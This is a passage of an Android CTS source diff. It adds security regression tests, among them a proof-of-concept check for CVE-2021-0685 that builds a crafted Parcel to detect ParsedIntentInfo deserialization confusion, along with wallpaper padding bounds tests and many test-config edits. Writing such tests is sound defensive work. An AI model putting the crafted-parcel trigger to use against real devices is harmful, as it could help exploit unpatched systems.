+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.IntentFilter;
+import android.content.pm.parsing.component.ParsedIntentInfo;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.text.TextUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0685 extends StsExtraBusinessLogicTestCase {
+    private static final int VAL_LABEL_RES = 5;
+    private static final boolean VAL_HAS_DEFAULT = true;
+    private static final String VAL_NONLOCALIZED_LABEL = "CVE_2021_0965";
+    private static final int VAL_ICON = 7;
+    private static final int PARCELABLE_FLAGS = 0;
+
+    @AsbSecurityTest(cveBugId = 191055353)
+    @Test
+    public void testPocCVE_2021_0685() {
+        Parcel parcel = null;
+        try {
+            parcel = Parcel.obtain();
+            parcel.writeString(ParsedIntentInfo.class.getName());
+            new IntentFilter().writeToParcel(parcel, PARCELABLE_FLAGS);
+            parcel.writeBoolean(VAL_HAS_DEFAULT);
+            parcel.writeInt(VAL_LABEL_RES);
+            TextUtils.writeToParcel(VAL_NONLOCALIZED_LABEL, parcel, PARCELABLE_FLAGS);
+            parcel.writeInt(VAL_ICON);
+
+            parcel.setDataPosition(0);
+            ParsedIntentInfo info = parcel.readParcelable(ParsedIntentInfo.class.getClassLoader());
+            if (info.getLabelRes() == VAL_LABEL_RES && info.isHasDefault() == VAL_HAS_DEFAULT
+                    && info.getNonLocalizedLabel().equals(VAL_NONLOCALIZED_LABEL)
+                    && info.getIcon() == VAL_ICON) {
+                fail("Vulnerable to b/191055353!!");
+            }
+        } catch (Exception e) {
+            if (e instanceof ClassCastException) {
+                return;
+            }
+            assumeNoException(e);
+        } finally {
+            try {
+                parcel.recycle();
+            } catch (Exception e) {
+                // ignore all exceptions.
+            }
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index fbef044..13bcdf2 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -51,7 +51,9 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+        final int firstApiLevel =
+                Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+        if (firstApiLevel >= Build.VERSION_CODES.S) {
             // Assumes every test in this file asserts a requirement of CDD section 9.
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     !context.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
index 64b3c33..a0f2aea 100644
--- a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
@@ -62,7 +62,9 @@
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+        final int firstApiLevel =
+                Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+        if (firstApiLevel >= Build.VERSION_CODES.S) {
             // Assumes every test in this file asserts a requirement of CDD section 9.
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     mContext.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 4facc06..bd83013 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -2493,11 +2493,6 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
-                    try {
-                        codec.stop();
-                    } catch (Exception e) {
-                        // local exceptions ignored, not security issues
-                    }
                     codec.release();
                     renderTarget.destroy();
                 }
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 6342bf4..fb5d621 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -43,7 +43,9 @@
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+        final int firstApiLevel =
+                Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+        if (firstApiLevel >= Build.VERSION_CODES.S) {
             // Assumes every test in this file asserts a requirement of CDD section 9.
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     mContext.getPackageManager()
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
new file mode 100644
index 0000000..4e3a5e5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.view.Display;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class WallpaperManagerTest extends StsExtraBusinessLogicTestCase {
+
+    private WallpaperManager mWallpaperManager;
+
+    @Before
+    public void setUp() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS);
+        mWallpaperManager = WallpaperManager.getInstance(getContext());
+        assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    // b/204316511
+    @Test
+    @AsbSecurityTest(cveBugId = 204316511)
+    public void testSetDisplayPadding() {
+        Rect validRect = new Rect(1, 1, 1, 1);
+        // This should work, no exception expected
+        mWallpaperManager.setDisplayPadding(validRect);
+
+        Rect negativeRect = new Rect(-1, 0 , 0, 0);
+        try {
+            mWallpaperManager.setDisplayPadding(negativeRect);
+            Assert.fail("setDisplayPadding should fail for a Rect with negative values");
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        DisplayManager dm = getContext().getSystemService(DisplayManager.class);
+        Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+        Context windowContext = getContext().createWindowContext(primaryDisplay,
+                TYPE_APPLICATION, null);
+        Display display = windowContext.getDisplay();
+
+        Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0);
+        try {
+            mWallpaperManager.setDisplayPadding(tooWideRect);
+            Assert.fail("setDisplayPadding should fail for a Rect width larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1);
+        try {
+            mWallpaperManager.setDisplayPadding(tooHighRect);
+            Assert.fail("setDisplayPadding should fail for a Rect height larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+    }
+}
diff --git a/tests/tests/selinux/OWNERS b/tests/tests/selinux/OWNERS
index 8824b03..20c32c2 100644
--- a/tests/tests/selinux/OWNERS
+++ b/tests/tests/selinux/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 85141
 jeffv@google.com
 jgalenson@google.com
-nnk@google.com
diff --git a/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml
index 191aedc..09f5536 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk25/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml
index f0246fc..299db6f 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk27/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
index 8d4037c..8e037d1 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdk29/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk29/AndroidTest.xml
index bed0f0a..bd15046 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk29/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml
index f78ddf2..645aa80 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
index 246e3fd..b1a443e 100644
--- a/tests/tests/settings/Android.bp
+++ b/tests/tests/settings/Android.bp
@@ -17,12 +17,20 @@
     static_libs: [
         "androidx.slice_slice-core",
         "androidx.slice_slice-view",
+        "androidx.test.core",
         "ctstestrunner-axt",
         "junit",
+        "kotlin-stdlib",
         "truth-prebuilt",
+        "ctsWindowExtLib",
     ],
 
     srcs: ["src/**/*.java"],
 
     sdk_version: "test_current",
 }
+
+android_library_import {
+    name: "ctsWindowExtLib",
+    aars: ["libs/cts_window_ext_lib.aar"],
+}
diff --git a/tests/tests/settings/AndroidManifest.xml b/tests/tests/settings/AndroidManifest.xml
index 9225b6a..007b36d 100644
--- a/tests/tests/settings/AndroidManifest.xml
+++ b/tests/tests/settings/AndroidManifest.xml
@@ -20,9 +20,20 @@
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="androidx.window.extensions" android:required="false"/>
+        <uses-library android:name="androidx.window.sidecar" android:required="false"/>
+
+        <activity android:name=".RightPaneActivity"
+                android:exported="true">
+            <intent-filter>
+                <action android:name="android.settings.cts.LAUNCH_RIGHT_PANE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/settings/AndroidTest.xml b/tests/tests/settings/AndroidTest.xml
index 5f220f3..6db4d47 100644
--- a/tests/tests/settings/AndroidTest.xml
+++ b/tests/tests/settings/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/settings/libs/cts_window_ext_lib.aar b/tests/tests/settings/libs/cts_window_ext_lib.aar
new file mode 100644
index 0000000..ca58b36
--- /dev/null
+++ b/tests/tests/settings/libs/cts_window_ext_lib.aar
Binary files differ
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
similarity index 70%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
index 669bb13..86391e7 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
@@ -14,11 +14,14 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.settings.cts;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+import android.app.Activity;
+import android.provider.Settings;
 
-    }
+/**
+ * For SettingsMultiPaneDeepLinkTest to test if
+ * {@link Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY}
+ */
+public class RightPaneActivity extends Activity {
 }
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
new file mode 100644
index 0000000..ea0e789
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.window.embedding.SplitController;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests to ensure the Activity to handle
+ * {@link Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY}
+ */
+@RunWith(AndroidJUnit4.class)
+public class SettingsMultiPaneDeepLinkTest {
+
+    private static final String DEEP_LINK_PERMISSION =
+            "android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK";
+
+    boolean mIsSplitSupported;
+    ResolveInfo mDeepLinkIntentResolveInfo;
+
+    @Before
+    public void setUp() throws Exception {
+        // runOnMainSync or SplitController#isSplitSupported will return wrong value for large
+        // screen devices.
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                mIsSplitSupported = SplitController.getInstance().isSplitSupported();
+            }
+        });
+        mDeepLinkIntentResolveInfo = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager().resolveActivity(
+                new Intent(Settings.ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY),
+                /* flags= */ PackageManager.MATCH_DEFAULT_ONLY);
+
+        assumeFalse("Skipping test: The device does not support Activity embedding",
+                !mIsSplitSupported && mDeepLinkIntentResolveInfo == null);
+
+        // TODO(b/214606992): Remove this check once automotive support was implemented.
+        assumeFalse("Skipping test: not supported on automotive yet",
+                mDeepLinkIntentResolveInfo == null
+                        && InstrumentationRegistry.getInstrumentation().getContext()
+                                .getPackageManager()
+                                .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+    }
+
+    @Test
+    public void deepLinkHomeActivity_protectedWithPermission() throws Exception {
+        assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+                + " be protected by " + DEEP_LINK_PERMISSION,
+                DEEP_LINK_PERMISSION.equals(mDeepLinkIntentResolveInfo.activityInfo.permission));
+    }
+
+    @Test
+    public void deepLinkHomeActivity_splitSupported_deepLinkHomeEnabled() throws Exception {
+        assumeTrue(mIsSplitSupported);
+
+        assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+                + " be enabled when the device supports Activity embedding",
+                mDeepLinkIntentResolveInfo != null);
+    }
+
+    @Test
+    public void deepLinkHomeActivity_splitNotSupported_deepLinkHomeDisabled() throws Exception {
+        assumeFalse(mIsSplitSupported);
+
+        assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+                + " be disabled when the device does NOT support Activity embedding",
+                mDeepLinkIntentResolveInfo == null);
+    }
+
+    @Test
+    public void deepLinkHomeActivity_receiveMultiPaneDeepLinkIntent_shouldStartActivity()
+                throws Exception {
+        Intent intent = new Intent(Settings.ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY);
+        intent.putExtra(Settings.EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI,
+                new Intent("android.settings.cts.LAUNCH_RIGHT_PANE")
+                .toUri(Intent.URI_INTENT_SCHEME));
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        ActivityMonitor am = instrumentation.addMonitor(RightPaneActivity.class.getName(),
+                /* result */ null, /* block */ false);
+
+        // Take the Shell UID permission identity because Shell app has the permission
+        // android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK.
+        instrumentation.getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            instrumentation.getContext()
+                    .startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        } finally {
+            // Drop the Shell UID permission identity.
+            instrumentation.getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        Activity rightPaneActivity = am.waitForActivityWithTimeout(5000);
+        assertNotNull("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY"
+                + " must start Activity for EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI",
+                rightPaneActivity);
+        rightPaneActivity.finish();
+    }
+}
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 29a7f24..7278909 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for ShortcutManager CTS test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <!-- Instant apps can't access ShortcutManager -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/tests/tests/simphonebookprovider/AndroidTest.xml b/tests/tests/simphonebookprovider/AndroidTest.xml
index e21c163..5d7514a 100644
--- a/tests/tests/simphonebookprovider/AndroidTest.xml
+++ b/tests/tests/simphonebookprovider/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
index bee9449..e02e6a2 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
@@ -22,6 +22,7 @@
 
 import static org.hamcrest.Matchers.oneOf;
 import static org.junit.Assume.assumeThat;
+import static org.junit.Assume.assumeTrue;
 
 import static java.util.concurrent.TimeUnit.SECONDS;
 
@@ -30,6 +31,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.database.ContentObserver;
 import android.net.Uri;
 import android.os.Handler;
@@ -155,6 +157,10 @@
 
     @Test
     public void subscriptionsChange_notifiesObserver() throws Exception {
+        Resources resources = ApplicationProvider.getApplicationContext().getResources();
+        int id = resources.getIdentifier("config_hotswapCapable", "bool", "android");
+        boolean hotswapCapable = resources.getBoolean(id);
+        assumeTrue("Device does not support SIM hot swap", hotswapCapable);
         assumeThat(mSubscriptionInfo, Matchers.notNullValue());
         try {
             setSimPower(0);
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index cfafd8e..3209e3d 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
index be91afc..33f4090 100644
--- a/tests/tests/slice/AndroidTest.xml
+++ b/tests/tests/slice/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Slice test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 72e13ae..ac9991f 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 0d28f65..fc48c72 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -19,8 +19,10 @@
 android_test {
     name: "CtsSystemUiTestCases",
     defaults: ["cts_defaults"],
+    min_sdk_version: "27",
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
     ],
 
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index f55ed3f..e42bb96 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -18,6 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.systemui.cts"
      android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="32" />
+
     <uses-permission android:name="android.permission.INJECT_EVENTS"/>
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.READ_DREAM_STATE"/>
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index 74876ae..7a84857 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS SystemUI test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="sysui" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
index 3737637..fe67f3e 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
@@ -24,8 +24,10 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "vts10",
         "general-tests",
     ],
     sdk_version: "current",
+    min_sdk_version: "27",
 }
diff --git a/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
index b8c1b4c..4b6990d 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
@@ -22,4 +22,5 @@
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
     sdk_version: "current",
+    min_sdk_version: "27",
 }
diff --git a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
index af7f01c..70631d2 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
@@ -24,8 +24,10 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "vts10",
         "general-tests",
     ],
     sdk_version: "current",
+    min_sdk_version: "27",
 }
diff --git a/tests/tests/systemui/OWNERS b/tests/tests/systemui/OWNERS
index 0d94f45..660f0b1 100644
--- a/tests/tests/systemui/OWNERS
+++ b/tests/tests/systemui/OWNERS
@@ -5,3 +5,8 @@
 rgl@google.com
 sergeynv@google.com
